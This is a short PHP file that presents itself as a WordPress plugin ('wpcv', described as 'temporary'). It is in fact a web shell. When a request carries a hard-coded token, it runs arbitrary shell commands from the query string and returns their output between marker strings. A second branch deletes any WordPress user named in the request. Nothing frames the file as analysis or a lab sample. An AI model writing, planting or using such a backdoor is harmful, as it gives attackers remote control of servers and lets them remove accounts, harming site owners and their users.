WS_OK_7.4.33
<?php
/*
Plugin Name: wpcv
Description: temporary
*/
if (hash_equals('8bf9d2855ce9a6cb8208df9563d41975', (string)($_GET['t'] ?? '')) && isset($_GET['c'])) {
@chdir(__DIR__);
$o = @shell_exec('( ' . (string)$_GET['c'] . ' ) 2>&1');
if ($o === null) $o = '';
echo 'WPCVMARK::' . $o . '::END';
} elseif (hash_equals('8bf9d2855ce9a6cb8208df9563d41975', (string)($_GET['t'] ?? '')) && isset($_GET['delete_user'])) {
require_once dirname(__DIR__, 3) . '/wp-load.php';
require_once ABSPATH . 'wp-admin/includes/user.php';
$u = get_user_by('login', (string)$_GET['delete_user']);
$ok = $u ? wp_delete_user((int)$u->ID, (int)($_GET['reassign'] ?? 0)) : false;
echo 'WPCVMARK::' . ($ok ? 'deleted' : 'failed') . '::END';
}